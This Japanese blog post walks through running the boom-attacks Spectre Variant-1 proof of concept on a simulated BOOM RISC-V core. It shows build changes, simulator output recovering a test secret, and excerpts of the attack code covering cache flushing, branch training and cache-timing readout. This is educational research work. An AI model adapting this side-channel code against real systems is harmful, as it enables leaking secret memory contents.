FPGA開発日記

カテゴリ別記事インデックス https://msyksphinz.github.io/github_pages , English Version https://fpgadevdiary.hatenadiary.com/

RISC-Vのアウトオブオーダコアで体験するSpectre/Meltdown (1. Variant-1を動かしてみる)

BOOM v2.2がリリースされたことに伴い、BOOMを使ったSpectre/Meltdownの攻撃手法を再現するリポジトリの存在を知った。

boom-attacks というリポジトリだ。これはアウトオブオーダプロセッサのBOOMを使い、Spectreの攻撃手法を再現しようというものである。

github.com

このリポジトリ曰く、Spectre/Meltdownのうち、

  • Variant-1 : Bound Check Bypassを再現する (condBranchMispred.c)
  • Variant-2 : Branch Target Injectionを再現する (indirBranchMispred.c)

を再現できる。実装中でまだ未完成であるが、Return Stack Buffer Attackについても実装中とのこと。

テスト環境としては、BOOM側のリポジトリとして8bb0e34を使用している(リビジョンを上げすぎると挙動が変わる可能性があるので注意)。これはまだBOOMv2 ?の実装で、RV64Gまでしかサポートしていないのでコンパイル時に注意。

github.com

boom-attacksリポジトリをcloneして、さっそくmakeしてみる。

git clone https://github.com/riscv-boom/boom-attacks.git
cd boom-attacks

使用しているBOOMのリビジョンではRVCをサポートしていないので、コンパイルオプションを変える。

diff --git a/Makefile b/Makefile
index 66498eb..3c981b2 100644
--- a/Makefile
+++ b/Makefile
@@ -16,8 +16,8 @@ DEP:=dep
 # Commands and flags
 CC:=riscv64-unknown-elf-gcc
 OBJDUMP:=riscv64-unknown-elf-objdump -S
-CFLAGS=-mcmodel=medany -l -std=gnu99 -O0 -g -fno-common -fno-builtin-printf -Wall -I$(INC) -Wno-unused-function -Wno-unused-variable
-LDFLAGS:=-static -nostdlib -nostartfiles -lgcc
+CFLAGS=-mcmodel=medany -march=rv64g -l -std=gnu99 -O0 -g -fno-common -fno-builtin-printf -Wall -I$(INC) -Wno-unused-function -Wno-unused-variable
+LDFLAGS:=-static -march=rv64g -nostdlib -nostartfiles -lgcc
 DEPFLAGS=-MT $@ -MMD -MP -MF $(DEP)/$*.d
 RM=rm -rf

これで実行してみる。まずはcondBranchMispred(Variant-1)から。

$ make output/condBranchMispred.riscv.out
cd /home/msyksphinz/work/riscv/boom-template/verisim && /home/msyksphinz/work/riscv/boom-template/verisim/simulator-boom.system-BoomConfig  +max-cycles=10000000  +verbose  output/condBranchMispred.riscv 3>&1 1>&2 2>&3 | /home/msyksphinz/riscv_boomv22/bin/spike-dasm  > output/condBranchMispred.riscv.out && [ $PIPESTATUS -eq 0 ]
m[0x0x80002d90] = want(!) =?= guess(hits,dec,char) 1.(10, 33, !) 2.(2, 5, )
m[0x0x80002d91] = want(") =?= guess(hits,dec,char) 1.(9, 34, ") 2.(2, 205,
m[0x0x80002d92] = want(#) =?= guess(hits,dec,char) 1.(10, 35, #) 2.(2, 8,)
m[0x0x80002d93] = want(T) =?= guess(hits,dec,char) 1.(8, 84, T) 2.(3, 2, )
m[0x0x80002d94] = want(h) =?= guess(hits,dec,char) 1.(8, 104, h) 2.(2, 10,
)
m[0x0x80002d95] = want(i) =?= guess(hits,dec,char) 1.(9, 105, i) 2.(3, 124, |)
m[0x0x80002d96] = want(s) =?= guess(hits,dec,char) 1.(10, 115, s) 2.(2, 8,)
m[0x0x80002d97] = want(I) =?= guess(hits,dec,char) 1.(6, 73, I) 2.(3, 44, ,)
m[0x0x80002d98] = want(s) =?= guess(hits,dec,char) 1.(7, 115, s) 2.(2, 85, U)
/home/msyksphinz/work/riscv/boom-template/Makefrag:54: recipe for target 'output/condBranchMispred.riscv.out' failed
$

ここまで進んでタイムアウトで落ちる。

この結果を見てわかるのは、

  • wantの項目がおそらく答え(!\"#ThisIsTheBabyBoomerTest)の1文字ずつを抽出していく。
  • Guessの項目によって、キャッシュアクセスのレイテンシから最も正解に近いものを選び出す。
    • 1番目のテストが「!」、2番目のテストが「\"」、3番目のテストが「#」と予測しているのでこれは正解。

実施している内容としては、まだあまり理解できていないのだが、

  • 変数resultsに答え(キャッシュのレイテンシから答えらしきもの)を格納する。

  • 最初にキャッシュをクリアする。このFlushCacheの実装がまた謎なのだが、過去の内容を上書きすることによってキャッシュの中身を追い払っているのか?RISC-Vには明確なキャッシュ操作命令が無いため、このような実装になっている?

          // run the attack on the same idx ATTACK_SAME_ROUNDS times
          for(uint64_t atkRound = 0; atkRound < ATTACK_SAME_ROUNDS; ++atkRound){
  
              // make sure array you read from is not in the cache
              flushCache((uint64_t)array2, sizeof(array2));
  • 次に攻撃対象とするインデックスを決めている。この部分については正直良く分かっていないのだが、TRAIN_TIMESが6なので、5回まではpassInIdxの値はatkRoundの値となり、最後の1回だけattackIdxとなる。これがsecretStringからarray1(いろいろと触る対象)のメモリマップ上の距離で、
      uint64_t attackIdx = (uint64_t)(secretString - (char*)array1);

ここにアクセスが発生するように仕向ける、ということなのだと思う。

つまり、BHRをだますために、最初の5回の試行は通常通りarray1へのアクセスを繰り返し、最後の1回で攻撃対象のアドレスを指すようにする。これにより騙されたBHRはまんまとsecretStringにアクセスを実施し、それをキャッシュにしまい込んでしまう、ということか。

  • Victimプロセスの中では、Spectreの論文等で見たことのあるコードが書かれている。一方でその上に配置してある意味のなさそうなアセンブラは、下の条件分岐命令の判断を遅らせるためのストール処理であり、これによりif文内のコードが投機的に実行されてSpectreの攻撃が完成する。
  void victimFunc(uint64_t idx){
      uint8_t dummy = 2;
  
      // stall array1_sz by doing div operations (operation is (array1_sz << 4) / (2*4))
      array1_sz =  array1_sz << 4;
      asm("fcvt.s.lu   fa4, %[in]\n"
          "fcvt.s.lu fa5, %[inout]\n"
          "fdiv.s    fa5, fa5, fa4\n"
          "fdiv.s    fa5, fa5, fa4\n"
          "fdiv.s    fa5, fa5, fa4\n"
          "fdiv.s    fa5, fa5, fa4\n"
          "fcvt.lu.s %[out], fa5, rtz\n"
          : [out] "=r" (array1_sz)
          : [inout] "r" (array1_sz), [in] "r" (dummy)
          : "fa4", "fa5");
  
      if (idx < array1_sz){
          dummy = array2[array1[idx] * L1_BLOCK_SZ_BYTES];
      }
  
      // bound speculation here just in case it goes over
      dummy = rdcycle();
  }
  • 最後に、L1からデータを回収して秘匿情報を読みに行くのだが、これは単純に各キャッシュラインを読んで行き、そのサイクル数を測定している。
              // read out array 2 and see the hit secret value
              // this is also assuming there is no prefetching
              for (uint64_t i = 0; i < 256; ++i){
                  start = rdcycle();
                  dummy &= array2[i * L1_BLOCK_SZ_BYTES];
                  diff = (rdcycle() - start);
                  if ( diff < CACHE_HIT_THRESHOLD ){
                      results[i] += 1;
                  }
              }

全体的な流れとしては、以下のイメージか?かなりザックリだけど。

f:id:msyksphinz:20190129122015p:plain
condBranchMispred.cの非常にザックリとした攻撃方法